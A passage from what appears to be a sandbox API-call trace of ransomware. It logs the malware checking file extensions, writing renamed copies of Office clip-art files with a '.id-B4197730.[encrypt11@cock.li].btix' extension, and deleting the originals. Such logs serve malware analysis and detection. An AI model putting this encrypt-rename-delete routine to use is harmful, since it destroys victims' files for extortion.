(lpString1=".xlsx", lpString2="8.WMF") returned -1 [0152.715] lstrlenW (lpString=".ppt") returned 4 [0152.715] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0152.715] lstrlenW (lpString=".zip") returned 4 [0152.715] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.715] lstrlenW (lpString=".rar") returned 4 [0152.715] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.715] lstrlenW (lpString=".bz2") returned 4 [0152.715] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.715] lstrlenW (lpString=".7z") returned 3 [0152.715] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0152.715] lstrlenW (lpString=".dbf") returned 4 [0152.715] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0152.715] lstrlenW (lpString=".1cd") returned 4 [0152.715] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0152.715] lstrlenW (lpString=".jpg") returned 4 [0152.715] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.716] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.716] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0152.716] GetLastError () returned 0x0 [0152.716] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x4c90, lpOverlapped=0x0) returned 1 [0152.717] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x4ca0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x4ca0, lpOverlapped=0x0) returned 1 [0152.718] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0152.718] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0152.718] SetEndOfFile (hFile=0x338) returned 1 [0152.718] CloseHandle (hObject=0x338) returned 1 [0152.718] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.719] SetEndOfFile (hFile=0x398) returned 1 [0152.719] CloseHandle (hObject=0x398) returned 1 [0152.719] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.720] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf")) returned 1 [0152.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0152.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0152.720] lstrlenW (lpString=".doc") returned 4 [0152.720] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.720] lstrlenW (lpString=".docx") returned 5 [0152.720] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0152.720] lstrlenW (lpString=".pdf") returned 4 [0152.720] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.720] lstrlenW (lpString=".xls") returned 4 [0152.720] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.720] lstrlenW (lpString=".xlsx") returned 5 [0152.720] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0152.720] lstrlenW (lpString=".ppt") returned 4 [0152.720] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0152.720] lstrlenW (lpString=".zip") returned 4 [0152.720] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.720] lstrlenW (lpString=".rar") returned 4 [0152.720] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.720] lstrlenW (lpString=".bz2") returned 4 [0152.720] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.720] lstrlenW (lpString=".7z") returned 3 [0152.721] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0152.721] lstrlenW (lpString=".dbf") returned 4 [0152.721] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0152.721] lstrlenW (lpString=".1cd") returned 4 [0152.721] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0152.721] lstrlenW (lpString=".jpg") returned 4 [0152.721] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.721] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.721] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0152.722] GetLastError () returned 0x0 [0152.722] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x864, lpOverlapped=0x0) returned 1 [0152.722] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x870, lpOverlapped=0x0) returned 1 [0152.723] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0152.723] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0152.723] SetEndOfFile (hFile=0x338) returned 1 [0152.723] CloseHandle (hObject=0x338) returned 1 [0152.723] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.723] SetEndOfFile (hFile=0x398) returned 1 [0152.724] CloseHandle (hObject=0x398) returned 1 [0152.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.724] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf")) returned 1 [0152.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0152.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0152.724] lstrlenW (lpString=".doc") returned 4 [0152.725] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.725] lstrlenW (lpString=".docx") returned 5 [0152.725] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0152.725] lstrlenW (lpString=".pdf") returned 4 [0152.725] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.725] lstrlenW (lpString=".xls") returned 4 [0152.725] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.725] lstrlenW (lpString=".xlsx") returned 5 [0152.725] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0152.725] lstrlenW (lpString=".ppt") returned 4 [0152.725] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0152.725] lstrlenW (lpString=".zip") returned 4 [0152.725] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.725] lstrlenW (lpString=".rar") returned 4 [0152.725] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.173] lstrlenW (lpString=".bz2") returned 4 [0153.174] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.174] lstrlenW (lpString=".7z") returned 3 [0153.174] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0153.174] lstrlenW (lpString=".dbf") returned 4 [0153.174] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0153.174] lstrlenW (lpString=".1cd") returned 4 [0153.174] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0153.174] lstrlenW (lpString=".jpg") returned 4 [0153.174] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.174] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.174] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0153.175] GetLastError () returned 0x0 [0153.175] ReadFile (in: hFile=0x378, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x26f0, lpOverlapped=0x0) returned 1 [0153.176] WriteFile (in: hFile=0x38c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x2700, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x2700, lpOverlapped=0x0) returned 1 [0153.177] ReadFile (in: hFile=0x378, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0153.177] WriteFile (in: hFile=0x38c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0153.177] SetEndOfFile (hFile=0x38c) returned 1 [0153.177] CloseHandle (hObject=0x38c) returned 1 [0153.178] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.178] SetEndOfFile (hFile=0x378) returned 1 [0153.179] CloseHandle (hObject=0x378) returned 1 [0153.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.179] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf")) returned 1 [0153.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0153.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0153.179] lstrlenW (lpString=".doc") returned 4 [0153.179] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.179] lstrlenW (lpString=".docx") returned 5 [0153.179] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0153.179] lstrlenW (lpString=".pdf") returned 4 [0153.179] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.179] lstrlenW (lpString=".xls") returned 4 [0153.179] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.179] lstrlenW (lpString=".xlsx") returned 5 [0153.179] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0153.180] lstrlenW (lpString=".ppt") returned 4 [0153.180] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0153.180] lstrlenW (lpString=".zip") returned 4 [0153.180] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.180] lstrlenW (lpString=".rar") returned 4 [0153.180] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.180] lstrlenW (lpString=".bz2") returned 4 [0153.180] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.180] lstrlenW (lpString=".7z") returned 3 [0153.180] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0153.180] lstrlenW (lpString=".dbf") returned 4 [0153.180] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0153.180] lstrlenW (lpString=".1cd") returned 4 [0153.180] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0153.180] lstrlenW (lpString=".jpg") returned 4 [0153.180] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.180] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.180] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0153.181] GetLastError () returned 0x0 [0153.181] ReadFile (in: hFile=0x378, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x4ef4, lpOverlapped=0x0) returned 1 [0153.182] WriteFile (in: hFile=0x38c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x4f00, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x4f00, lpOverlapped=0x0) returned 1 [0153.183] ReadFile (in: hFile=0x378, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0153.183] WriteFile (in: hFile=0x38c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0153.183] SetEndOfFile (hFile=0x38c) returned 1 [0153.183] CloseHandle (hObject=0x38c) returned 1 [0153.183] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.183] SetEndOfFile (hFile=0x378) returned 1 [0153.184] CloseHandle (hObject=0x378) returned 1 [0153.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.184] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf")) returned 1 [0153.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0153.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0153.185] lstrlenW (lpString=".doc") returned 4 [0153.185] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.185] lstrlenW (lpString=".docx") returned 5 [0153.185] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0153.185] lstrlenW (lpString=".pdf") returned 4 [0153.185] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.185] lstrlenW (lpString=".xls") returned 4 [0153.185] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.185] lstrlenW (lpString=".xlsx") returned 5 [0153.185] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0153.185] lstrlenW (lpString=".ppt") returned 4 [0153.185] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0153.185] lstrlenW (lpString=".zip") returned 4 [0153.185] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.185] lstrlenW (lpString=".rar") returned 4 [0153.185] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.185] lstrlenW (lpString=".bz2") returned 4 [0153.186] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.186] lstrlenW (lpString=".7z") returned 3 [0153.186] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0153.186] lstrlenW (lpString=".dbf") returned 4 [0153.186] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0153.186] lstrlenW (lpString=".1cd") returned 4 [0153.186] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0153.186] lstrlenW (lpString=".jpg") returned 4 [0153.186] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.186] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.186] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0153.187] GetLastError () returned 0x0 [0153.187] ReadFile (in: hFile=0x378, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x2168, lpOverlapped=0x0) returned 1 [0153.188] WriteFile (in: hFile=0x38c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x2170, lpOverlapped=0x0) returned 1 [0153.188] ReadFile (in: hFile=0x378, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0153.189] WriteFile (in: hFile=0x38c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0153.189] SetEndOfFile (hFile=0x38c) returned 1 [0153.189] CloseHandle (hObject=0x38c) returned 1 [0153.189] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.189] SetEndOfFile (hFile=0x378) returned 1 [0153.190] CloseHandle (hObject=0x378) returned 1 [0153.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.190] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf")) returned 1 [0153.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0153.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0153.190] lstrlenW (lpString=".doc") returned 4 [0153.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.190] lstrlenW (lpString=".docx") returned 5 [0153.190] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0153.191] lstrlenW (lpString=".pdf") returned 4 [0153.191] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.191] lstrlenW (lpString=".xls") returned 4 [0153.191] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.191] lstrlenW (lpString=".xlsx") returned 5 [0153.191] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0153.191] lstrlenW (lpString=".ppt") returned 4 [0153.191] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0153.191] lstrlenW (lpString=".zip") returned 4 [0153.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.191] lstrlenW (lpString=".rar") returned 4 [0153.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.191] lstrlenW (lpString=".bz2") returned 4 [0153.191] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.191] lstrlenW (lpString=".7z") returned 3 [0153.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0153.191] lstrlenW (lpString=".dbf") returned 4 [0153.191] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0153.191] lstrlenW (lpString=".1cd") returned 4 [0153.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0153.192] lstrlenW (lpString=".jpg") returned 4 [0153.192] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.192] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.192] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 